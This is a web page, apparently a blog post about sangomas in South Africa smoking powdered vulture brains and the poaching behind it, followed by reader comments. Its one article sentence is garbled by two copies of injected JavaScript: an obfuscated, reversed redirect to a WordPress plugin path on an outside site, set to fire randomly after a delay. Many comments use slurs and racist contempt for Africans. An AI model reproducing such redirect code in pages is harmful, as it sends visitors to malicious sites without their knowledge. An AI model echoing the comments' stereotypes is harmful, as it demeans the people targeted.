Smoking Vulture Brains in South Africa

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One of the main reasons for the decline is the illegal trade of poached vultures. Often, those body parts end up in the hands of sangomas, South African traditional healers. Some sangomas use vultures in a variety of ceremonies, one of which includes smoking powdered brains toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to communicate with their ancestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tors.

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36 thoughts on “Smoking Vulture Brains in South Africa”

  1. Russell Barth says:

    superstitious bullshit hucksterism

  2. svt philic says:

    This was extremely eye opening

  3. J says:

    What.The.Fuck.

  4. Jae G says:

    Nasty Heathens.

  5. Armand Prinsloo says:

    fucking savages.

  6. Dillon Green says:

    Turns out acid gets you high as hell when you mix it with bird brains…….who new?

  7. ElseStand エルサ says:

    Very informative and interesting. But I kinda cringed a bit.

  8. El says:

    man this is dumb

  9. El says:

    3:12 bitch quit faking

  10. Federico Martinez says:

    we wuz kangs XD

  11. R Mc says:

    They should tell the Chinese, they'd love that shit.

  12. MySisterIsAFoodie says:

    Misleading title!!! I wanted them to roll up a blunt of like fresh mushy brain stuff and light it up like a joint. Instead they just burnt some vague looking mixture…. Betcha it's not even vulture brain. Whoever selling them that powder is probably grinding up some oregano like "Here is your vulture brain!"

  13. Cheese on Toast says:

    wow vultures are like 3x the size i thought they were from tv and cartoons what the fuck

  14. Temperdgrump says:

    Did anyone have a flashback of district 9 when the witch doctor tells the nigerian kingpin to eat the alien arm to gain its power?

  15. J Johnson says:

    Im surprised I. This day of age no one ever did a documentary of smoking human brains lol wtf did I just watch. This document is such a big fat phoney!!!

  16. MrLDub4589 says:

    My boss is from South Africa, now I know why he's so stupid. He probably was eating those vulture brains, playing with spears, and rolling in termite mounds.

  17. Estevan Herrera says:

    "We could just use other animals" Then why do it at all?!

  18. Jesse Jacobo says:

    I rather smoke real meds like CBD and THC

  19. jose garcia says:

    nasty, why not smoke weed

  20. goma guar says:

    snobs

  21. DJMavrick says:

    What was that bright fluorescent orange syrup he called medicine and mixed with the vulture brains? I'm pretty sure that's what's making people feel weird…

  22. Linda Bond says:

    Oh, Africa..people will not come,when things like this go on and on.

  23. Nick Oats says:

    Human intelligence is dwindling in all cultures across the globe

  24. Frank Su says:

    It really makes me sad and angry

  25. Joe Gardiner says:

    Seems like these people need the guidance and support of a developed nation.

  26. Paul Thomas says:

    Vulture culture

  27. Adam Smith says:

    They need to get a well respected witch to say it's bad luck, and then come up with some fake news. Problem solved

  28. White Nationalist National Socialist says:

    Inhaling burning gunpowder bad idea

  29. Snaggle Toothed says:

    I'm from the North of England. Can we try this with crow or starling brains?

  30. Old Parts says:

    It starts with KILLING, and cause and effect follows the MURDERS

  31. Leee says:

    6:49 The irony.

  32. Jak Vokun-Sos says:

    They dont even smoke it, just powered brains and a bunch of other stuff together and burned, then and they kinda just smell the smoke

  33. Luis Quintanilla says:

    Please listen and share. Bless

  34. AJ meyer says:

    pity it doesn't say 60% of south Africans are uneducated…

  35. James robinson says:

    When was gun powder introduced there ancient history my ass lmao

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